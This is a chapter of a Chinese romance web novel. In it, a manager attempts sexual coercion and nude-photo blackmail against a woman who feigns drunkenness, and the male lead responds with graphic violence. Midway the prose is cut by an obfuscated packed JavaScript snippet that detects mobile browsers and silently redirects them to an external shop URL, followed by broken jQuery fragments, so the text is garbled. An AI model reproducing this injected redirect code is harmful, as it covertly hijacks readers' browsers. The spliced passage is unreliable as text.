文趣网 > 其他小说 > 难搞[先婚后爱] > 29. 第 29 章
    气氛已经被推到了顶点。

    因为司梵每次只压谢媛媛一点,偏偏又没有出老千的痕迹。

    所有人都想看看,谢媛媛能不能扳回一局。

    连谢媛媛自己都上了头。

    实在太憋屈了。

    司梵就是在戏弄她,故意吊着她打,恶心她,让她憋屈死。

    她使劲摇了好几下,“砰”地一声把骰盅砸在桌上,掀开一看,整个人都傻了。

    十点,迄今为止最小的点数。

    “操。”她低声骂了一句。

    周围立刻起哄,说这把司梵赢定了。

    司梵倒是不太在意。

    手机在茶几上一直震,她扫了一眼来电显示,伸手接起来。

    那头不知道说了什么,她往柏光临那边看了一眼。

    他和老张正边说话边站起来,像是要出去。

    她收回视线,回了个“嗯”,挂了电话。

    谢媛媛醉醺醺地催她摇骰子。

    司梵随手拿起骰盅,摇了一下,掀开。

    九点。

    “什么?不可能吧?”

    “怎么才九点?放水了吧?”

    “这是故意要输?”

    “有病吧,谁他妈愿意故意输酒喝啊?当谁都和你一样馋酒啊?”

    周围乱哄哄的。

    谢媛媛笑得肆意张扬,好像她赢了很多次似的。

    她扫了一眼桌上最后那排酒,往前一推,抬了抬下巴:“你运气不行啊,司梵,这都赢不了我。喝吧。”

    周围一片失望的叹气,随即又兴奋起来,头一回见司梵喝酒,不知道她酒量怎么样。

    司梵弯腰把那排橙色的酒扯过来。起哄声里,她仰头,一杯接一杯地喝。

    谢媛媛撩了撩头发,往后看了一眼。

    柏光临正好走到门口,脚步顿了顿,回过头,扶了扶眼镜。

    司梵正在喝最后一杯。

    酒液顺着她的嘴角溢出来,沿着脖颈往下滑,滑过锁骨,没入毛衣领口,肩膀白的晃眼。

    这酒后劲大,不仅辣嗓子,喝急了还晕。

    她喝完最后一杯,把杯子往桌上一搁,仰头靠进沙发里,闭上了眼。

    谢媛媛以为她喝醉了,眼里闪过精光,嘲讽道:“就这点酒量还玩游戏,扫兴。走走走,我们过去玩。”

    她把周围那群人都招呼到另一张桌子,开始拼酒。

    这一桌只剩司梵仰在沙发上,像是喝多了睡着了。

    她平日总是一副冷冰冰不好惹的模样,虽然人人都垂涎她的美,但谁都不敢靠近。

    眼下她喝醉了,那些平时凑不上来的人,一个个心思活络,想趁机带走她,或者沾点便宜。

    一个男的磨蹭半天,使了八百个心眼子,终于凑到她身边。

    手还没碰到人,“啪”的一声,脸上结结实实挨了一巴掌。

    司梵眼都没睁:“不想死就滚。”

    那男的捂着脸,往四周张望,见有几个人对他指指点点,掩不住的嘲笑,赶紧低下头溜了。

    这下没人敢再上前找不痛快。

    美是美,也是真刺头,惹不起。

    谢媛媛在另一桌玩了好大一会儿,时不时往这边瞟几眼。

    看她像是真喝多了,趁那群人正上头。

    她趁机脱身,走到司梵身边大声问:“司梵,司梵,你是不是喝醉了?我扶你去房间休息啊。”

    司梵脸颊微红,像是睡着了。

    谢媛媛把她搀扶起来,带着往门口走。

    刷卡进了房间后,她把司梵推到沙发上。

    直起身,去了洗手间。

    门刚推开,一只手伸出来,攥着她的手腕拉进去。

    洗手间传来一阵东西落地的哗啦声,和一些少儿不宜的声音。

    三分钟后,两个人从洗手间里出来。

    谢媛媛往身上套裙子,看了眼沙发上睡得死沉的两个人:“总监,今晚我办得还行吧?那续约和提高分佣的事……”

    柏光临穿好睡袍,也眯着眼打量沙发上的人,不答反问:“搜过了?”

    “搜了,没录音设备,连手机都没带。”谢媛媛凑近一步,勾着他的脖子,“不过总监您小心些,那个好说,没什么背景,小绵羊一样。但司梵可是个刺头,黄流就是栽她手里的。万一她醒了之后找您麻烦……”

    “那是他蠢!这么多年,我什么时候被人拿住过把柄?”柏光临瞥她一眼,“你们这几个,不都被我调教得很好?”

    谢媛媛陪着笑:“那倒是,总监手段我清楚。”

    “放心,我有拿捏她的办法。”柏光临往卧室方向走,扔下一句,“明天签新合同,分佣涨二十个点。”

    “谢谢总监!”谢媛媛眼睛亮了,又低声说,“我把她……扶进去?”

    柏光临:“不用,滚吧。”

    -

    陆晏时给司梵发了几条消息,都没收到回复。

    他把手机撂在桌上,烟灰缸里已经摁灭了很多烟蒂。

    韶深看他脸色不好,心说又是在司梵那儿碰了钉子,笑着岔开话题:“时哥,你让集团发的那条声明,可是把蒋明辉得罪狠了。那老东西不会善罢甘休,他外甥女是苏城江家独女,这一下丢的是两家的脸。”

    “江家?”陆晏时抬了抬眼,语气听不出情绪,“上门女婿那个?”

    谢敖没忍住,笑出声:“你这张嘴,还是一如既往的毒辣。没错,就是那个靠给蒋家当上门女婿才活下来的江家……”

    话没说完,包间门被推开。经理站在门口,脸色发白,手里攥着手机,话都说不利索:“韶、韶总……”

    韶深眉头一皱:“什么事?”

    蔡经理下意识看向陆晏时,又飞快低下头:“您让我特别关注的那位司小姐……被人带到楼上房间休息了。”

    “被谁带走了?”韶深和谢敖同时问。

    椅子腿刮在地板上发出刺耳的声响,陆晏时霍地起身。蔡经理被他一脚踹得踉跄,手机差点脱手,脸更白了。

    陆晏时沉着脸:“你们他妈的是死的?”

    “本、本来是她的女同事陪着上去,以为没事……”蔡经理哆哆嗦嗦把手机递过去,“刚查监控,那个房间几分钟之前进去个男的。”

    “操。”陆晏时抬脚往外走,走到门口回头看了韶深一眼。

    韶深从头凉到脚,有那么一瞬间,他看到了杀意。

    -

    柏光临的目光在司梵和童知之间来回梭巡,堆满褶子的脸上油腻腻的。

    他凑近司梵,酒气混着口臭直往她脸上扑:“本以为你能把黄流送进去,手段得多厉害,我硬是憋了大半个月才敢动你。早知道你这么好弄,我浪费这大半月干什么?”

    他伸手去碰她的脸。

    将要碰到时,司梵倏地睁开眼,眼神迷蒙,像刚睡醒:“……柏总?”

    “醒了?”他不仅没缩手,反而往前探了探,“醒了正好。你忘了?刚才你喝醉了,硬往我身上爬,求我带你开房。”

    “是么?”司梵眨眨眼,看向沙发另一头,“童知怎么也在这儿?”

    柏光临说:“她啊,识人不明,差点被人骗走。幸亏我看见了,拦下来。你俩不是好姐妹么,正好一起。”

    司梵撑着沙发起身,脚步虚浮地往童知那边迈了一步。

    柏光临拽住她的手腕,把她扯回来:“想去哪?”

    司梵踉跄了一下,站稳了,低头看看被他攥住的手腕,又抬头看他,还是那副没睡醒的样子:“……柏总,这是干什么?”

    “你说我想干什么?”柏光临凑近她耳边,声音黏腻,“这房间装了摄像头,刚才我已经拍了你俩的裸照。你不想身败名裂吧?你朋友不是想留直播部?乖乖听我的话,升职发财,什么都好说。”

    司梵垂着眼,睫毛在脸上投下一小片阴影,像是在思考。

    柏光临等了两秒,正要再开口。

    她忽然抬起眼,眼神清明,没有半点醉意:“是吗?黄总监也跟我说过这话,现在在里面踩缝纫机。不怕我把你送进去跟他做伴?”

    柏光临一愣,随即笑了:“黄流蠢,不搜你的身。我可不蠢,你身上我搜过了,别说录音,你手机都不在身上。今晚你只能乖乖被我压在身下。司梵,你知道么,我惦记你很久了,偏偏你去了老张那儿。现在你落在我手里了。”

    又一个

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17638192|206516||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    跟黄流一样惦记她的恶心东西。

    司梵侧过头,和他对视。

    距离太近,近到能看清彼此瞳孔里的倒影。

    柏光临正在痴迷的看着她的眼睛,深棕色的,亮晶晶的,真漂亮跟撒了星子一样。

    忽然她嘴角弯了弯,笑得诡异:“……你怎么知道……不是你落我手里了?”

    柏光临笑容一僵:“……什么意思?”

    下一秒,茶几上的烟灰缸被她抄在手里。

    陆晏时冲进来的那一刻,正好看见她手里的烟灰缸冲柏光临的头砸了下去。

    血当时就下来了。

    柏光临嗷了一嗓子,身子往后仰,歪倒在沙发扶手边。

    谢敖从他身后窜进去,三两下把人摁住了,抬头看陆晏时,惊得不行:“卧槽,阿时,这小姑奶奶压根不用你担心,我看谁惹上她算谁倒霉。”

    陆晏时站在原地,像没听见似的,胸膛剧烈起伏,眼睛死死盯着司梵。

    她举着烟灰缸的手还没放下来,手腕细细一截,骨节惨白。

    毛衣领口被刚才那一下扯歪了,左边滑下去大半截,快到肩膀根儿,露出大片锁骨和肩膀。

    她偏头看着他,脸冷,眼神也冷,嘴角抿着不说话。

    陆晏时两三步走过去,把烟灰缸从她手里拿出来扔到地上。

    又把自己身上的牛仔衬衫脱下来,从她身后兜上去。

    他低着头垂着眼,把衬衫的两只袖子在她胸前用力一拢,裹紧了,又把她歪掉的领口往上提了提。

    手指碰到她肩膀的时候,他顿了一下——冰凉。

    他收回手,转过身朝柏光临走过去。

    整个过程,没跟她说一句话。

    司梵皱起眉头喊他:“陆——”

    陆晏时抬起腿,一脚踹在柏光临肋骨上,力道发了狠。

    柏光临被谢敖按着躲不开,蜷成一团,喉咙里挤出一声闷哼。

    陆晏时偏过头,眼风扫过来,嗓音沉哑得厉害:“……待那儿别动。”

    他生气了。

    之前从没用这种语气跟她说话。

    司梵站在原地,不知道是心虚还是什么,真的没再动。

    陆晏时低头看着地上的柏光临,皮鞋朝裆部踩了下去。

    屋里立刻传来一声嘶吼。

    他把毛衣袖子撸到胳膊肘,眼底通红,照着柏光临的脸一拳一拳往下砸。

    拳肉相撞的声音闷在屋里,身上的戾气越来越重。

    柏光临满脸是血,话都说不利索,断断续续地求饶:“陆……陆爷……我错了……”

    陆晏时像没听见,发了狠地往死里打。

    脑子里全是不敢想的画面——

    万一她真喝醉了,万一她没有这么聪明,万一她真被——

    他拽着柏光临的后领拖在地上,掐着他的脖子往茶几上撞。

    司梵终于冲上去拉住他。

    陆晏时回头,眼底的猩红还没褪。

    这一眼让她愣了一瞬。

    她没有松手,握住他的手腕,指腹贴着他的皮肤,安抚他:“陆晏时,他没碰到我。”

    他盯着她,重重地喘着气。

    她继续说:“……我想让他受法律制裁。”

    陆晏时的拳头还攥着,青筋暴起。

    他就这么冷冷地睨着她,看着她眼里的自己——

    满脸是血,眼底猩红,像个刚从下面爬出来的恶鬼。

    良久,他才意识到自己的失控,手一点一点松开。又一言不发不由分说地俯下身,把她抱了起来。

    “废了他,送去坐牢。”

    说完抱着她就往门口走。

    对面房间的门突然打开,吴闻从里面跑出来。

    他不知道小司总和陆晏时的关系。

    他按司梵的要求拆了对面那间屋柏光临装的摄像头,又装上了他们自己的,然后一直守在监控前看着里面的情况。

    刚才看到陆晏时要带走她,他才冲出来想拦住,被陆晏时的眼神逼在原地。

    司梵:“我没事,你不用管我,去处理后面……”

    不待她说完,陆晏时已经不耐烦的抱着她大步离开。